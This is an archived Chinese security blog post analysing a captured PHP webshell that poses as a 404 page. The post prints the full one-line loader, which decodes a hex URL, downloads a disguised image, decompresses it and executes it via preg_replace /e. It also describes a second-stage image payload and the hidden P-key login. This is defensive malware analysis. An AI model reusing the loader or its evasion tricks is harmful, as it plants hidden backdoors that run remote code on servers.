# PHP后门新玩法：一款猥琐的PHP后门分析

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-03-19T08:46:00Z
Canonical: https://wepostx.com/topics/398

> 乌云历史资料归档
>
> **原始作者：** 360网站安全中心
> **原始编号：** superkieran-wooyundrops:189
> **原始发布时间：** 2014-03-19 16:46
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

## 0x00 背景

近日，360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本，其巧妙的代码动态生成方式，猥琐的自身页面伪装手法，让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

## 0x01 细节

Webshell代码如下：

```text
#!php <?php error_reporting(0); session_start(); header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents( sprintf('%s?%s',pack("H*", '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null); ?>
```
关键看下面这句代码，

```text
#!php sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())
```
这里执行之后其实是一张图片，解密出来的图片地址如下：

```text
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
```
然后调用file_get_contents函数读取图片为字符串，然后substr取3649字节之后的内容，再调用gzuncompress解压，得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码，

```text
#!php <?php echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*", '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649)); ?>
```
如图所示：

![原文图片](/media/2016/06/bf5ff7a5ee9ef695a5fd37e9aad17f43)

分析这段代码，发现这是一个伪装的404木马(这里实在是太猥琐了…把页面标题改成404 Not Found)，其实整个webshell就一个class外加三个function，如下图：

![原文图片](/media/2016/06/be0ebab0df078a7f9c8ba2c71eb81994)

首先我先看一下它的前端html代码，其中有这么一段js程序

```text
#!js document.onkeydown = function(e) { var theEvent = window.event || e; var code = theEvent.keyCode || theEvent.which; if (80 == code) { $("login").style.display = "block" } }
```
这里它用document.onkeydown获取用户敲击键盘事件，当code等于80的时候显示login这个div，这里查询了一下keyCode的对照表，查到80对应p和P键

![原文图片](/media/2016/06/d776979dadd589ec5e54e61271f7d108)

所以触发webshell登陆需要按p键(不按P键页面就是一个空白页，看不到登陆框)，如图所示：

![原文图片](/media/2016/06/f00ef5212d24a81478ff463663fcfa76)

再回到服务端php代码中，可以看到程序用的是对称加密，并且将登陆密码作为加密key，代码如图所示：

![原文图片](/media/2016/06/93ff881609136f66e02cbb7bc520aedf)

再看init()的逻辑

![原文图片](/media/2016/06/6e221477135fe2b15492ed753c626532)

如图所示，先看这句代码

```text
#!php $true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59′), $_POST['key'], true)));
```
根据这个解密逻辑我们可以推出，这里其实是将字符串true做了以下加密处理，

```text
#!php unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')), $_POST['key'] , true))
```
[email protected]rue，然后程序调用setcookie给客户端返回$_COOKIE['key']，然后值得提一下的是后面这个exit('{"status":"on"}')，这里它与前端代码联系很紧密，我们看前端有个callback函数，如下

```text
#!js function callback() { var json = eval("(" + this.responseText + ")"); if (json.status=='on'){ window.location.reload(); return; } if (json.notice) { $("notice").style.display = "block"; $("notice").innerHTML = json.notice; sideOut(); } }
```
这里执行exit('{"status":"on"}')会返回json串{"status":"on"}，此时前端js代码classback()获取到此响应会执行window.location.reload()刷新，再次请求正好带上前面获取的cookie，然后执行判断COOKIE的逻辑，如图所示：

![原文图片](/media/2016/06/d5bae3558a148ad29ec051a095e0b469)

这里跟前面POST的逻辑一样，下面当判断为'true'以后，这里又请求了一张图片，pack出来地址为http://2012heike.googlecode.com/svn/trunk/code.jpg，然后调用_REQUEST获取图片内容，解密解压之后再eval，分析之后发现code.jpg中才是真正的webshell经过加密压缩之后的内容。这里我跟踪了一下代码打印出了真正执行的webshell的内容：

![原文图片](/media/2016/06/2d7ece7b315de2c065914c3e3775f43e)

登陆成功之后的webshell如下图：

![原文图片](/media/2016/06/1ef39c1fb90f458e88bf3a613d1c1aac)

## 0x02 总结

这是一个高度隐蔽的webshell，它没有在其代码中用到一些危险函数和敏感字，而是将真正的shell内容经过层层加密处理之后保存到图片当中，丢到服务器上只留下一个url，并且url还是经过加密处理的，所以对外看没有任何特征可寻，过掉了大多数waf以及杀软的查杀。。作者的利用思路新颖，并且前端后端结合紧密，代码精简，各种奇技淫巧，有别于常见的webshell后门，令人佩服！
from:[http://blog.wangzhan.360.cn/?p=65](http://blog.wangzhan.360.cn/?p=65)

## Replies
